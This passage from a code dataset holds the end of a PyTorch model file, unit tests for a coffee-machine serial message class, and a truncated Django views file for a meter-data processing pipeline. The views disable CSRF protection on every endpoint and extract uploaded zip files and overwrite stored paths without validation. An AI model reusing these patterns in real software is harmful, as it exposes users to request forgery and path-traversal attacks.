index=top_k_index_repeat) # selected vectors\r\n # (batch, min(self.top_k, trans_q_output.shape[1]), 256)\r\n\r\n reshaped = torch.reshape(top_k_q_output_selected,\r\n (batch_here, -1)) # (batch, min(self.top_k, trans_q_output.shape[1])*256)\r\n # print(\"reshaped init\", reshaped, reshaped.shape) Y_ns\r\n\r\n ## Padding if necessary\r\n if seq_len_here < self.top_k:\r\n zero_pad = torch.zeros((batch_here, (self.top_k - seq_len_here) * trans_q_output.shape[2]),\r\n device=self.device)\r\n reshaped = torch.cat((reshaped, zero_pad), dim=-1) # (batch, self.top_k*256)\r\n\r\n # Step 2. Here, 'block_memory' should be changed to block_variable recurrently.\r\n reshaped = reshaped.unsqueeze(dim=0) #the input sequence(Y) length is always 1\r\n #print('reshaped(input)', reshaped.shape)\r\n #print('block_memory', block_memory.shape)\r\n\r\n output, hidden = self.block_memory_rnn(reshaped, block_memory) # (batch, hidden=256),\r\n\r\n #print('output', output.shape)\r\n #print('hidden', hidden.shape)\r\n\r\n return output, hidden\r\n #block_memory_ori = block_memory\r\n #return block_memory_ori, reshaped\r\n\r\n\r\n\r\n def block_mu_sig(self, block_memory):\r\n sig = torch.exp(self.block_sig(block_memory).clamp(self.bl_log_sig_min, self.bl_log_sig_max))\r\n\r\n return torch.cat((self.block_mu(block_memory), sig), dim=-1)","repo_name":"suyoung-lee/SDVT","sub_path":"models/block_model.py","file_name":"block_model.py","file_ext":"py","file_size_in_byte":6291,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"19158369073","text":"#!/usr/bin/env python\n# pylint: disable=no-self-use,unused-argument\n'''\nUnit test cases for the Rocket message module.\n'''\n\n__all__ = (\n 'TestMessage',\n)\n\nimport logging\nfrom unittest import TestCase, main\n\nfrom rocket_r60v.message import Message\nfrom rocket_r60v.exceptions import MessageLengthError\n\nlogging.disable()\n\n\nclass TestMessage(TestCase):\n '''\n Test rocket.machine.Machine class and its methods.\n '''\n\n def _test_message(self, expected, **kwargs):\n '''\n Test if created message instance matches the expected message format.\n '''\n message = Message(**kwargs)\n\n self.assertEqual(expected, str(message), 'Mismatch of string representation')\n self.assertEqual(expected, message.raw_message, 'Mismatch of raw message w/ checksum')\n self.assertEqual(expected[0:-2], message.message, 'Mismatch of message w/o checksum')\n self.assertEqual(expected[0:9], message.envelope, 'Mismatch of envelope')\n self.assertEqual(expected[0], message.command, 'Mismatch of command')\n self.assertEqual(int(expected[1:5], 16), message.address, 'Mismatch of address')\n self.assertEqual(int(expected[5:9], 16), message.length, 'Mismatch of length')\n self.assertEqual(expected[9:-2], message.data, 'Missmatch of data')\n self.assertEqual(expected.encode(), message.encode(), 'Missmatch of encoded message')\n\n def test_read_from_first_address(self):\n '''\n Read from the first address.\n '''\n self._test_message(\n expected='r00010001F4',\n command='r',\n address=1,\n length=1\n )\n\n def test_read_from_tenth_address(self):\n '''\n Read from the tenth address.\n '''\n self._test_message(\n expected='r000A000104',\n command='r',\n address=10,\n length=1\n )\n\n def test_write_list_data_to_first_address(self):\n '''\n Write to the first address with a list of data.\n '''\n self._test_message(\n expected='w00010001015A',\n command='w',\n address=1,\n length=1,\n data=[1]\n )\n\n def test_write_int_data_to_first_address(self):\n '''\n Write to the first address with an int as data.\n '''\n self._test_message(\n expected='w00010001015A',\n command='w',\n address=1,\n length=1,\n data=1\n )\n\n def test_write_str_data_to_first_address(self):\n '''\n Write to the first address with an int as data.\n '''\n self._test_message(\n expected='w00010001015A',\n command='w',\n address=1,\n length=1,\n data='1'\n )\n\n def test_write_list_data_to_sixth_address(self):\n '''\n Write to the sixth address with a list of data.\n '''\n self._test_message(\n expected='w003C0001106F',\n command='w',\n address=60,\n length=1,\n data=[16]\n )\n\n def test_write_int_data_to_sixth_address(self):\n '''\n Write to the sixth address with an int as data.\n '''\n self._test_message(\n expected='w003C0001106F',\n command='w',\n address=60,\n length=1,\n data=16\n )\n\n def test_write_str_data_to_sixth_address(self):\n '''\n Write to the sixth address with an int as data.\n '''\n self._test_message(\n expected='w003C0001106F',\n command='w',\n address=60,\n length=1,\n data='16'\n )\n\n def test_write_long_list_data(self):\n '''\n Write a long list of data with matching length.\n '''\n self._test_message(\n expected='w003C00040A141E28C7',\n command='w',\n address=60,\n length=4,\n data=[10, 20, 30, 40]\n )\n\n def test_write_too_short_list_data(self):\n '''\n Write a too short list of data.\n '''\n with self.assertRaises(MessageLengthError):\n Message(\n command='w',\n address=60,\n length=4,\n data=[10, 20, 30]\n )\n\n def test_write_too_long_list_data(self):\n '''\n Write a too long list of data.\n '''\n with self.assertRaises(MessageLengthError):\n Message(\n command='w',\n address=60,\n length=4,\n data=[10, 20, 30, 40, 50]\n )\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"confirm/Rocket-R60V","sub_path":"rocket_r60v/tests/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":4683,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"4724323857","text":"from django.shortcuts import render\nimport json\nfrom django.core import serializers\nimport os\nimport zipfile\nfrom django.conf import settings\nfrom datetime import datetime\nimport shutil\nimport pandas as pd\n# Create your views here.\nfrom django.core.files import File\n\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\n# from .serializers import AllMeterFilesSerializer\n\nfrom .models import *\nfrom .extract import dirJsonNPC\nfrom .merge import mergeNPCs\nfrom .dateFilter import dateFilterMergedFile\nfrom .validate import validateFile\nfrom .realMeterMWH import createRealMeterMWH\nfrom .frequencyGraphData import frequencyGraphData\nfrom .fictMeterMWH import createFictMeterMWH\nfrom .finalOutput import createFinalOutput\nfrom .analyseData import fetchData\nfrom .changeMeterDataAnalyse import changeMeterEndDataWithEquation,revertMeterEndChanges,zeroFillMeter\nfrom .componentWiseAnalysis import componentWiseMeterAnalysis\nfrom .specialReports import specialReport1\n\n\nfrom .supportingFunctions import *\nfrom django.core.files.storage import FileSystemStorage\n\nclass OverwriteStorage(FileSystemStorage):\n def get_valid_name(self, name):\n # return get_valid_filename(name)\n return name\n def get_available_name(self, name,max_length=None):\n if self.exists(name):\n print(name)\n os.remove(os.path.join(settings.MEDIA_ROOT, name))\n return name\n\ndef meterChangeLog(file_name, text_to_append):\n \"\"\"Append given text as a new line at the end of file\"\"\"\n # Open the file in append & read mode ('a+')\n with open(file_name, \"a+\") as file_object:\n # Move read cursor to the start of file.\n file_object.seek(0)\n # If file is not empty then append '\\n'\n data = file_object.read(100)\n if len(data) > 0:\n file_object.write(\"\\n\")\n # Append text at the end of file\n file_object.write(text_to_append)\n\n######################### Testing ##########################################################################\ndef index(request):\n return HttpResponse(\"Hello, world. You're at the polls index.\")\n\n@api_view(['GET'])\ndef apiOverview(request):\n\tapi_urls = {\n\t\t'List':'/task-list/',\n\t\t'Detail View':'/task-detail//',\n\t\t'Create':'/task-create/',\n\t\t'Update':'/task-update//',\n\t\t'Delete':'/task-delete//',\n\t\t}\n\n\treturn Response(api_urls)\n\n####################### Zipped Meter Data ####################################################################\n@csrf_exempt\ndef getAllMeterData(request):\n # AllMeterFiles_json = AllMeterFiles.objects.all()\n AllMeterFiles_json = serializers.serialize(\"json\", AllMeterFiles.objects.all().order_by('-id'))\n \n # data = {\"data\": AllMeterFiles_json}\n # return JsonResponse(data)\n return HttpResponse(AllMeterFiles_json, content_type=\"text/json-comment-filtered\")\n\n@csrf_exempt\ndef getMeterData(request, meter_id): # Data of single meter\n meterData = AllMeterFiles.objects.filter(id=int(meter_id))\n meterData_json = serializers.serialize(\"json\", meterData)\n # data = {\"data\": AllMeterFiles_json}\n # return JsonResponse(data)\n return HttpResponse(meterData_json, content_type=\"text/json-comment-filtered\")\n\n@csrf_exempt\ndef addNewMeterFile(request):\n print(\"I have request object\")\n print(request.POST['year'])\n print(request.POST['month'])\n print(request.POST['startDate'])\n print(request.POST['endDate'])\n print(datetime.strptime(request.POST['startDate'], \"%d-%m-%Y\"))\n print(datetime.strptime(request.POST['endDate'], \"%d-%m-%Y\"))\n\n # print(request.POST['meterZippedFile'].name)\n\n year = request.POST['year']\n month = request.POST['month']\n startDate = datetime.strptime(request.POST['startDate'], \"%d-%m-%Y\")\n endDate = datetime.strptime(request.POST['endDate'], \"%d-%m-%Y\")\n meterZippedFile = request.FILES['meterZippedFile']\n\n meterData = AllMeterFiles.objects.create(year=year, month=month,status = \"Uploaded\", startDate=startDate, endDate=endDate)\n meterData.save()\n meterData.zippedMeterFile = meterZippedFile\n meterData.save()\n\n return HttpResponse(json.dumps({'id' : meterData.id, 'message': 'MeterFile added'}), content_type='application/json')\n\n@csrf_exempt\ndef deleteNewMeterFile(request,meter_id):\n print(meter_id)\n AllMeterFiles.objects.get(id=int(meter_id)).delete()\n return HttpResponse({'message': 'Meter deleted'}, status=200)\n\n########################### Extract ##########################################################################\n\n@csrf_exempt\ndef getNPCData(request, meter_id): # Data of single meter\n\n print(\"inside getNPCData\")\n print(meter_id)\n\n npcFiles = list(filter(lambda npcFile: (npcFile.npcFileMeterId() == meter_id),NpcFile.objects.all()))\n # npcFile = npcFiles[0]\n # npcDict = json.loads(npcFile.npcDictionary)\n # print(npcDict[\"1\"])\n npcFiles_json = serializers.serialize(\"json\", npcFiles , fields=('dirStructureNPC','meterFile'))\n \n return HttpResponse(npcFiles_json, content_type=\"text/json-comment-filtered\")\n\n\n\n\n@csrf_exempt\ndef extract(request,meter_id):\n \n try :\n print(\"inside extract\")\n\n print(\"meter_id\")\n print(meter_id)\n meterData = AllMeterFiles.objects.get(id=meter_id)\n print(meterData.zippedMeterFile)\n # zipFilePath = os.path.join(\"fifteenmmdp/media/\",str(meterData.zippedMeterFile))\n # npcFilesFolderPath = os.path.join(\"fifteenmmdp/media/meterFile/meterFile\"+meter_id,'NPC Files',os.path.basename(str(meterData.zippedMeterFile)))\n npcFilesFolderPath = os.path.join(\"fifteenmmdp/media/meterFile/meterFile\"+meter_id,'NPC Files')\n\n # print(os.path.splitext(zipFilePath)) # ('fifteenmmdp/media/meterFile/meterFile29/test', '.zip')\n print(npcFilesFolderPath)\n print(os.path.splitext(npcFilesFolderPath)) # ('meterFile/meterFile29\\\\NPC Files\\\\test', '.zip')\n\n with zipfile.ZipFile('fifteenmmdp/media/'+ str(meterData.zippedMeterFile), 'r') as zip_ref:\n # zip_ref.extractall(\"fifteenmmdp/media/meterFile/meterFile\"+ meter_id)\n zip_ref.extractall(\"fifteenmmdp/media/meterFile/meterFile\"+ meter_id +\"/NPC Files\")\n\n\n if(not (meterData.status is None) and (statusCodes.index(meterData.status) == 0)) :\n shutil.copytree('fifteenmmdp/media/necessaryFiles', \"fifteenmmdp/media/meterFile/meterFile\"+ meter_id +\"/NPC Files/Necessary Files Local Copy\")\n\n\n print(\"Extract executed\")\n\n npcDict = {'lastIndex' : 1}\n\n jsonOutput = dirJsonNPC(os.path.splitext(npcFilesFolderPath)[0],meterData,npcDict)\n print(json.dumps(jsonOutput))\n print(npcDict)\n\n npcFileObject = NpcFile.objects.create(npcDictionary = json.dumps(npcDict),dirStructureNPC=json.dumps(jsonOutput), meterFile = meterData)\n npcFileObject.save()\n\n AllMeterFiles.objects.filter(id = meter_id).update(status=\"Extracted\")\n return HttpResponse({'message': 'Meter File Extracted'}, status=200)\n except Exception as e :\n return HttpResponse(json.dumps([str(e)]), content_type='application/json',status=500)\n\n\n\n# @csrf_exempt\n# def downloadNPCFile(request,npc_id):\n\n print(\"inside downloadNpcFile\")\n print(npc_id)\n npcFile = NpcFile.objects.get(id=int(npc_id))\n\n\n outputFile_path = os.path.join(settings.MEDIA_ROOT,npcFile.filePath)\n print(outputFile_path)\n\n if(os.path.exists(outputFile_path)) :\n with open(outputFile_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"text/plain\")\n response['Content-Disposition'] = 'attachment; filename=' + npcFile.fileName\n return response\n\n return HttpResponse(\"There is no NPC File to download\")\n\n\n@csrf_exempt\ndef downloadNPCFile(request,meter_id,npc_id): # Single File only\n\n print(\"inside downloadNPCFile\")\n print(npc_id)\n # npcFile = NpcFile.objects.get(id=int(npc_id))\n\n npcFiles = list(filter(lambda npcFile: (npcFile.npcFileMeterId() == meter_id),NpcFile.objects.all()))\n npcFile = npcFiles[0]\n npcDict = json.loads(npcFile.npcDictionary)\n\n outputFile_path = os.path.join(settings.MEDIA_ROOT,npcDict[npc_id])\n print(outputFile_path)\n\n if(os.path.exists(outputFile_path)) :\n with open(outputFile_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"text/plain\")\n response['Content-Disposition'] = 'attachment; filename=' + os.path.basename(npcDict[npc_id])\n return response\n\n return HttpResponse(\"There is no NPC File to download\")\n\n\n# @csrf_exempt\n# def changeNPCFile(request,npc_id):\n\n print(\"inside changeNPCFile\")\n print(npc_id)\n\n print(request.FILES['fileToUpload'])\n # npcFileToChange = NpcFile.objects.get(id = npc_id)\n # npcFileToChange.npcFile = request.FILES['fileToUpload']\n # npcFileToChange.save()\n return HttpResponse({'message': 'NPC Changed'}, status=200)\n\n@csrf_exempt\ndef changeNPCFile(request,meter_id,npc_id):\n\n print(\"inside changeNPCFile\")\n print(npc_id)\n\n print(request.FILES['fileToUpload'])\n myfile = request.FILES['fileToUpload']\n\n print(myfile)\n print(myfile.name)\n npcFiles = list(filter(lambda npcFile: (npcFile.npcFileMeterId() == meter_id),NpcFile.objects.all()))\n npcFile = npcFiles[0]\n npcDict = json.loads(npcFile.npcDictionary)\n print(npcDict[npc_id])\n # useThisLoc = 'fifteenmmdp/media'+npcDict[npc_id]\n useThisLoc = npcDict[npc_id]\n\n fs = OverwriteStorage()\n fs.save(useThisLoc, myfile)\n # realMeterMWHFileToChange.npcFile = request.FILES['fileToUpload']\n # realMeterMWHFileToChange.save()\n return HttpResponse({'message': 'NPCFile Changed'}, status=200)\n\n########################### Merge ##########################################################################\n@csrf_exempt\ndef merge(request,meter_id):\n print(meter_id)\n meterFile = AllMeterFiles.objects.get(id=int(meter_id))\n print(meterFile.status)\n mergeError = mergeNPCs(path = \"meterFile\"+meter_id, _meterData = meterFile) #Path given\n if(len(mergeError) != 0) :\n return HttpResponse(json.dumps(mergeError), content_type='application/json',status=500)\n else :\n return HttpResponse({'message': 'NPCs Merged'}, status=200)\n \n\n@csrf_exempt\ndef getMergedFile(request,meter_id):\n\n print(\"inside getMergedFile\")\n print(meter_id)\n\n mergedFile = list(filter(lambda mergedFile: (mergedFile.mergedFileMeterId() == meter_id),MergedFile.objects.all()))\n \n mergedFile_json = serializers.serialize(\"json\", mergedFile)\n # data = {\"data\": AllMeterFiles_json}\n # return JsonResponse(data)\n return HttpResponse(mergedFile_json, content_type=\"text/json-comment-filtered\")\n\n\n@csrf_exempt\ndef downloadMergedFile(request,mergedFile_id):\n\n print(\"inside downloadMergedFile\")\n\n print(mergedFile_id)\n mergedFile = MergedFile.objects.get(id=int(mergedFile_id))\n\n\n outputFile_path = os.path.join(settings.MEDIA_ROOT,mergedFile.filePath)\n print(outputFile_path)\n\n if(os.path.exists(outputFile_path)) :\n with open(outputFile_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"text/plain\")\n response['Content-Disposition'] = 'attachment; filename=' + mergedFile.fileName\n return response\n\n return HttpResponse(\"There is no Merged File to download\")\n\n@csrf_exempt\ndef changeMergedFile(request,mergedFile_id):\n\n print(\"inside changeMergedFile\")\n\n print(request.FILES['fileToUpload'])\n mergedFileToChange = MergedFile.objects.get(id = mergedFile_id)\n mergedFileToChange.mergedFile = request.FILES['fileToUpload']\n mergedFileToChange.save()\n print(mergedFile_id)\n return HttpResponse({'message': 'Merged File Changed'}, status=200)\n\n############################## Date Filter #####################################################################\n\n@csrf_exempt\ndef dateFilter(request,meter_id):\n print(meter_id)\n meterFile = AllMeterFiles.objects.get(id=int(meter_id))\n print(meterFile.status)\n dateFilterError = dateFilterMergedFile(path = \"meterFile\"+meter_id, _meterData = meterFile) #Path given\n if(len(dateFilterError) != 0) :\n return HttpResponse(json.dumps(dateFilterError), content_type='application/json',status=500)\n else :\n #Need to fix \n return HttpResponse({'message': 'MergedFile DateFiltered'}, status=200)\n\n\n@csrf_exempt\ndef getDateFilteredFile(request,meter_id):\n\n print(\"inside getDateFilteredFile\")\n print(meter_id)\n\n dateFilteredFile = list(filter(lambda dateFilteredFile: (dateFilteredFile.dateFilteredFileMeterId() == meter_id),DateFilteredFile.objects.all()))\n \n dateFilteredFile_json = serializers.serialize(\"json\", dateFilteredFile)\n # data = {\"data\": AllMeterFiles_json}\n # return JsonResponse(data)\n return HttpResponse(dateFilteredFile_json, content_type=\"text/json-comment-filtered\")\n\n\n@csrf_exempt\ndef downloadDateFilteredFile(request,dateFilteredFile_id):\n\n print(\"inside downloadDateFilteredFile\")\n\n print(dateFilteredFile_id)\n dateFilteredFile = DateFilteredFile.objects.get(id=int(dateFilteredFile_id))\n\n\n outputFile_path = os.path.join(settings.MEDIA_ROOT,dateFilteredFile.filePath)\n print(outputFile_path)\n\n if(os.path.exists(outputFile_path)) :\n with open(outputFile_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"text/plain\")\n response['Content-Disposition'] = 'attachment; filename=' + dateFilteredFile.fileName\n return response\n\n return HttpResponse(\"There is no DateFiltered File to download\")\n\n@csrf_exempt\ndef changeDateFilteredFile(request,dateFilteredFile_id):\n\n print(\"inside changeDateFiltered\")\n\n print(request.FILES['fileToUpload'])\n dateFilteredFileToChange = DateFilteredFile.objects.get(id = dateFilteredFile_id)\n dateFilteredFileToChange.dateFilteredFile = request.FILES['fileToUpload']\n dateFilteredFileToChange.save()\n print(dateFilteredFile_id)\n return HttpResponse({'message': 'DateFiltered File Changed'}, status=200)\n\n@csrf_exempt\ndef downloadNrxFile(request,meter_id):\n\n print(\"inside downloadNrxFile\")\n\n print(meter_id)\n\n outputFile_path = os.path.join(settings.MEDIA_ROOT,'meterFile/meterFile'+meter_id+\"/DateFiltered File/NRXFile.NRX\")\n print(outputFile_path)\n\n if(os.path.exists(outputFile_path)) :\n with open(outputFile_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"text/plain\")\n response['Content-Disposition'] = 'attachment; filename=' + 'NRXFile.NRX'\n return response\n\n return HttpResponse(\"There is no NRX File to download\")\n\n############################ Validate ##############################################################################\n\n@csrf_exempt\ndef validate(request,meter_id):\n try :\n print(meter_id)\n meterFile = AllMeterFiles.objects.get(id=int(meter_id))\n print(meterFile.status)\n valiDateError = validateFile(path = \"meterFile\"+meter_id, _meterData = meterFile) #Path given\n if(len(valiDateError) != 0) :\n return HttpResponse(json.dumps(valiDateError), content_type='application/json',status=500)\n else :\n #Need to fix \n return HttpResponse({'message': 'MergedFile Validated'}, status=200)\n except Exception as e :\n return HttpResponse(json.dumps([str(e)]), content_type='application/json',status=500)\n\n\n@csrf_exempt\ndef getValidatedFile(request,meter_id):\n\n print(\"inside getValidatedFile\")\n print(meter_id)\n\n validatedFile = list(filter(lambda validatedFile: (validatedFile.validatedFileMeterId() == meter_id),ValidatedFile.objects.all()))\n \n validatedFile_json = serializers.serialize(\"json\", validatedFile)\n # data = {\"data\": AllMeterFiles_json}\n # return JsonResponse(data)\n return HttpResponse(validatedFile_json, content_type=\"text/json-comment-filtered\")\n\n\n@csrf_exempt\ndef downloadValidatedFile(request,validatedFile_id):\n\n print(\"inside downloadValidatedFile\")\n\n print(validatedFile_id)\n validatedFile = ValidatedFile.objects.get(id=int(validatedFile_id))\n\n\n outputFile_path = os.path.join(settings.MEDIA_ROOT,validatedFile.filePath)\n print(outputFile_path)\n\n if(os.path.exists(outputFile_path)) :\n with open(outputFile_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"text/plain\")\n response['Content-Disposition'] = 'attachment; filename=' + validatedFile.fileName\n return response\n\n return HttpResponse(\"There is no Validated File to download\")\n\n@csrf_exempt\ndef changeValidatedFile(request,validatedFile_id):\n\n print(\"inside changeValidatedFile\")\n\n print(request.FILES['fileToUpload'])\n validatedFileToChange = ValidatedFile.objects.get(id = validatedFile_id)\n validatedFileToChange.validatedFile = request.FILES['fileToUpload']\n validatedFileToChange.save()\n print(validatedFile_id)\n return HttpResponse({'message': 'Validated File Changed'}, status=200)\n\n\n############################## Create Real Meter MWH #################################################################\n\n@csrf_exempt\ndef getRealMeterMWHData(request, meter_id): # Data of single meter\n\n print(\"inside getRealMeterMWHData\")\n print(meter_id)\n\n realMeterMWHFiles = list(filter(lambda realMeterMWHFile: (realMeterMWHFile.realMeterMWHFileMeterId() == meter_id),RealMeterMWHFile.objects.all()))\n # realMeterMWHFile = realMeterMWHFiles[0]\n # mwhDict = json.loads(realMeterMWHFile.mwhDictionary)\n # print(mwhDict[\"1\"])\n realMeterMWHFiles_json = serializers.serialize(\"json\", realMeterMWHFiles , fields=('dirStructureRealMWH','meterFile'))\n # data = {\"data\": AllMeterFiles_json}\n # return JsonResponse(data)\n return HttpResponse(realMeterMWHFiles_json, content_type=\"text/json-comment-filtered\")\n\n\n@csrf_exempt\ndef realMeterMWH(request,meter_id,overWrite):\n # try :\n print(meter_id)\n if(overWrite == \"false\") :\n print(\"Keep file as it is\")\n else :\n shutil.rmtree(os.path.join(\"fifteenmmdp/media/meterFile\",\"meterFile\"+meter_id,\"Real Meter MWH Files(Copy)\"))\n print(\"overwrite the files\")\n print(type(overWrite))\n meterFile = AllMeterFiles.objects.get(id=int(meter_id))\n print(meterFile.status)\n createRealMeterMWH(path = \"meterFile\"+meter_id, _meterData = meterFile, overWrite = overWrite) #Path given\n return HttpResponse({'message': 'Real Meter MWH Created'}, status=200)\n # except Exception as e :\n # return HttpResponse(json.dumps([str(e)]), content_type='application/json',status=500)\n\n@csrf_exempt\ndef downloadRealMeterMWHFile(request,meter_id,realMeterMWH_id): # Single File only\n\n print(\"inside downloadRealMeterMWHFile\")\n print(realMeterMWH_id)\n # realMeterMWHFile = RealMeterMWHFile.objects.get(id=int(realMeterMWH_id))\n\n realMeterMWHFiles = list(filter(lambda realMeterMWHFile: (realMeterMWHFile.realMeterMWHFileMeterId() == meter_id),RealMeterMWHFile.objects.all()))\n realMeterMWHFile = realMeterMWHFiles[0]\n mwhDict = json.loads(realMeterMWHFile.mwhDictionary)\n\n outputFile_path = os.path.join(settings.MEDIA_ROOT,mwhDict[realMeterMWH_id])\n print(outputFile_path)\n\n if(os.path.exists(outputFile_path)) :\n with open(outputFile_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"text/plain\")\n response['Content-Disposition'] = 'attachment; filename=' + os.path.basename(mwhDict[realMeterMWH_id])\n return response\n\n return HttpResponse(\"There is no Real Meter MWH File to download\")\n\n\n@csrf_exempt\ndef changeRealMeterMWHFile(request,meter_id,realMeterMWH_id):\n\n print(\"inside changeRealMeterMWHFile\")\n print(realMeterMWH_id)\n\n print(request.FILES['fileToUpload'])\n myfile = request.FILES['fileToUpload']\n # realMeterMWHFileToChange = RealMeterMWHFile.objects.get(id = realMeterMWH_id)\n print(myfile)\n print(myfile.name)\n realMeterMWHFiles = list(filter(lambda realMeterMWHFile: (realMeterMWHFile.realMeterMWHFileMeterId() == meter_id),RealMeterMWHFile.objects.all()))\n realMeterMWHFile = realMeterMWHFiles[0]\n mwhDict = json.loads(realMeterMWHFile.mwhDictionary)\n print(mwhDict[realMeterMWH_id])\n # useThisLoc = 'fifteenmmdp/media'+mwhDict[realMeterMWH_id]\n useThisLoc = mwhDict[realMeterMWH_id]\n\n fs = OverwriteStorage()\n fs.save(useThisLoc, myfile)\n # realMeterMWHFileToChange.npcFile = request.FILES['fileToUpload']\n # realMeterMWHFileToChange.save()\n return HttpResponse({'message': 'RealMeterMWHFile Changed'}, status=200)\n\n@csrf_exempt\ndef downLoadFullRealMeterMWHFiles(request,meter_id):\n print(\"inside downLoadFullRealMeterMWHFiles\")\n print(meter_id)\n\n path = os.path.join(settings.MEDIA_ROOT,'meterFile/meterFile'+meter_id)\n inputFile_path = os.path.join(path,'Real Meter MWH Files')\n outputFile_path = os.path.join(path,'Real_Meter_MWH.zip')\n\n shutil.make_archive(os.path.splitext(outputFile_path)[0], 'zip', inputFile_path)\n\n if(os.path.exists(outputFile_path)) :\n with open(outputFile_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"application/force-download\")\n response['Content-Disposition'] = 'attachment; filename=' + 'Real_Meter_MWH.zip'\n return response\n\n return HttpResponse(\"There is no Real Meter MWH File to download\")\n\n@csrf_exempt\ndef fetchFrequencyGraphData(request, meter_id) :\n print(\"i am in fetchFrequencyGraphData\")\n\n frequencyGraphDataToSend = frequencyGraphData(path = \"meterFile\"+meter_id) \n # print(frequencyGraphDataToSend)\n return HttpResponse(json.dumps(frequencyGraphDataToSend))\n############################## Create Fictitious Meter MWH #################################################################\n\n@csrf_exempt\ndef getFictMeterMWHData(request, meter_id): # Data of single meter\n\n print(\"inside getFictMeterMWHData\")\n print(meter_id)\n\n fictMeterMWHFiles = list(filter(lambda fictMeterMWHFile: (fictMeterMWHFile.fictMeterMWHFileMeterId() == meter_id),FictMeterMWHFile.objects.all()))\n # fictMeterMWHFile = fictMeterMWHFiles[0]\n # fictMwhDict = json.loads(fictMeterMWHFile.fictMwhDictionary)\n # print(fictMwhDict[\"1\"])\n fictMeterMWHFiles_json = serializers.serialize(\"json\", fictMeterMWHFiles , fields=('dirStructureFictMWH','meterFile'))\n # data = {\"data\": AllMeterFiles_json}\n # return JsonResponse(data)\n return HttpResponse(fictMeterMWHFiles_json, content_type=\"text/json-comment-filtered\")\n\n\n@csrf_exempt\ndef fictMeterMWH(request,meter_id):\n # try :\n print(meter_id)\n meterFile = AllMeterFiles.objects.get(id=int(meter_id))\n print(meterFile.status)\n createFictMeterMWH(path = \"meterFile\"+meter_id, _meterData = meterFile) #Path given\n return HttpResponse({'message': 'Fict Meter MWH Created'}, status=200)\n # except Exception as e :\n # return HttpResponse(json.dumps([str(e)]), content_type='application/json',status=500)\n\n@csrf_exempt\ndef downloadFictMeterMWHFile(request,meter_id,fictMeterMWH_id): # Single File only\n\n print(\"inside downloadFictMeterMWHFile\")\n print(fictMeterMWH_id)\n # fictMeterMWHFile = FictMeterMWHFile.objects.get(id=int(fictMeterMWH_id))\n\n fictMeterMWHFiles = list(filter(lambda fictMeterMWHFile: (fictMeterMWHFile.fictMeterMWHFileMeterId() == meter_id),FictMeterMWHFile.objects.all()))\n fictMeterMWHFile = fictMeterMWHFiles[0]\n fictMwhDict = json.loads(fictMeterMWHFile.fictMwhDictionary)\n\n outputFile_path = os.path.join(settings.MEDIA_ROOT,fictMwhDict[fictMeterMWH_id])\n print(outputFile_path)\n\n if(os.path.exists(outputFile_path)) :\n with open(outputFile_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"text/plain\")\n response['Content-Disposition'] = 'attachment; filename=' + os.path.basename(fictMwhDict[fictMeterMWH_id])\n return response\n\n return HttpResponse(\"There is no Fict Meter MWH File to download\")\n\n\n@csrf_exempt\ndef changeFictMeterMWHFile(request,meter_id,fictMeterMWH_id):\n\n print(\"inside changeFictMeterMWHFile\")\n print(fictMeterMWH_id)\n\n print(request.FILES['fileToUpload'])\n myfile = request.FILES['fileToUpload']\n # realMeterMWHFileToChange = RealMeterMWHFile.objects.get(id = realMeterMWH_id)\n print(myfile)\n print(myfile.name)\n fictMeterMWHFiles = list(filter(lambda fictMeterMWHFile: (fictMeterMWHFile.fictMeterMWHFileMeterId() == meter_id),FictMeterMWHFile.objects.all()))\n fictMeterMWHFile = fictMeterMWHFiles[0]\n fictMwhDict = json.loads(fictMeterMWHFile.fictMwhDictionary)\n print(fictMwhDict[fictMeterMWH_id])\n # useThisLoc = 'fifteenmmdp/media'+fictMwhDict[fictMeterMWH_id]\n useThisLoc = fictMwhDict[fictMeterMWH_id]\n\n fs = OverwriteStorage()\n fs.save(useThisLoc, myfile)\n # realMeterMWHFileToChange.npcFile = request.FILES['fileToUpload']\n # realMeterMWHFileToChange.save()\n return HttpResponse({'message': 'FictMeterMWHFile Changed'}, status=200)\n\ndef downLoadFullFictMeterMWHFiles(request,meter_id):\n print(\"inside downLoadFullFictMeterMWHFiles\")\n print(meter_id)\n\n path = os.path.join(settings.MEDIA_ROOT,'meterFile/meterFile'+meter_id)\n inputFile_path = os.path.join(path,'Fictitious Meter MWH Files')\n outputFile_path = os.path.join(path,'Fictitious_Meter_MWH.zip')\n\n shutil.make_archive(os.path.splitext(outputFile_path)[0], 'zip', inputFile_path)\n\n if(os.path.exists(outputFile_path)) :\n with open(outputFile_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"application/force-download\")\n response['Content-Disposition'] = 'attachment; filename=' + 'Fictitious_Meter_MWH.zip'\n return response\n\n return HttpResponse(\"There is no Fictitious Meter MWH File to download\")\n\n############################## Create Final Output Files #################################################################\n\n\n@csrf_exempt\ndef getFinalOutputData(request, meter_id): # Data of single meter\n\n print(\"inside getFinalOutputData\")\n print(meter_id)\n\n finalOutputFiles = list(filter(lambda finalOutputFile: (finalOutputFile.finalOutputFileMeterId() == meter_id),FinalOutputFile.objects.all()))\n \n finalOutputFiles_json = serializers.serialize(\"json\", finalOutputFiles , fields=('dirStructureFinalOutput','meterFile'))\n # data = {\"data\": AllMeterFiles_json}\n # return JsonResponse(data)\n return HttpResponse(finalOutputFiles_json, content_type=\"text/json-comment-filtered\")\n\n\n@csrf_exempt\ndef finalOutput(request,meter_id):\n try :\n print(meter_id)\n meterFile = AllMeterFiles.objects.get(id=int(meter_id))\n print(meterFile.status)\n createFinalOutput(path = \"meterFile\"+meter_id, 